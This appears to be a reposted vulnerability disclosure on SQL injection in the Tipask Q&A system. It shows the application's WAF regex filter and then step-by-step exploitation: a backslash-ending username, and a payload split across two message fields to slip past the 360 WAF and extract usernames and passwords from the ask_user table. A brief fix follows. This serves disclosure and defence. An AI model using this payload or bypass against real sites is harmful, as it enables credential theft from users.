The tipask q & A system bypasses waf SQL Injection in multiple places

Source: Internet
Author: User

The tipask q & A system bypasses waf SQL Injection in multiple places

The system allows the registration of usernames containing backslash ("\"), which can cause multiple SQL Injection Vulnerabilities, because the system has 360WAF defense, WAF protection is perfectly bypassed by combining multiple parameters at the same time.

function checkattack($reqarr, $reqtype = 'post') {$filtertable = array('get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)','post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)','cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)');foreach ($reqarr as $reqkey => $reqvalue) {if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {print('Illegal operation!');exit(-1);}}}

1. First register a user name: wooyun \

2. log on to wooyun \ and send a message (test) to another user)

(There are two controllable places for sending messages. Using these two parameters together, we can perfectly bypass WAF of 360)

The complete injection statement is:

Code Region

,fromuid=3,touid=2,subject=user(),content=(select concat(username,password) from ask_user limit 0,1)#



You can use multiple parameters to bypass 360WAF.

Enter the topic, fromuid = 3, touid = 2, subject = user (), content = (select concat (username, password )/*

Enter */from ask_user limit 0, 1 )#,

After submission, log on to another account to view the injection results:

Solution:

Filter special characters of a user name

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.